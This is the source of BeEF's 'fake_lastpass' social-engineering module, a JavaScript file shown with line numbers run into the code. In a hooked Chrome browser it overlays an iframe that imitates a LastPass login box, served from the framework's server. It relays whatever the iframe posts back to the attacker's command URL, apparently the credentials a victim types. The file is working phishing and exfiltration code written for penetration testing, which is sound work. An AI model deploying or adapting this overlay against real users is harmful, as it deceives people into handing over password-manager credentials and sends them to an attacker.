Path: blob/master/modules/social_engineering/fake_lastpass/command.js
1873 views
//1// Copyright (c) 2006-2026Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {78// Prepare the onmessage event handling9var eventMethod = window.addEventListener ? "addEventListener" : "attachEvent";10var eventer = window[eventMethod];11var messageEvent = eventMethod == "attachEvent" ? "onmessage" : "message";12eventer(messageEvent,function(e) {13if (e.data == "KILLFRAME") {14beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Killing Frame');15beef.net.send('<%= @command_url %>', <%= @command_id %>, 'meta=KILLFRAME');16beef.dom.removeElement('LPIFRAME');17return;18} else {19beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=' + e.data);20}21},false);2223if (beef.browser.isC()) {24beef.dom.createIframe('custom', {'src':beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/lp/index.html','id':'LPIFRAME'}, {'width':'294px','height':'352px','position':'fixed','right':'5px','top':'0px','z-index':beef.dom.getHighestZindex()+1,'border':'1px solid white','overflow':'hidden'});25beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Chrome IFrame Created .. awaiting messages');26} else {27beef.debug('[Fake LastPass] Unspported browser');28beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=No IFrame Created -- browser is not Chrome', beef.are.status_error());29}3031// $j('body').append("<div id='lp_login_dia' style='width:375px; height:415px; position: fixed; right: 0px; top: 0px; z-index: "+beef.dom.getHighestZindex()+1+"; border: 1px solid white; overflow: hidden; display: none'></div>");3233// $j('#lp_login_dia').load(beef.net.httpproto+"://"+beef.net.host+":"+beef.net.port+"/lp/index.html");34353637});383940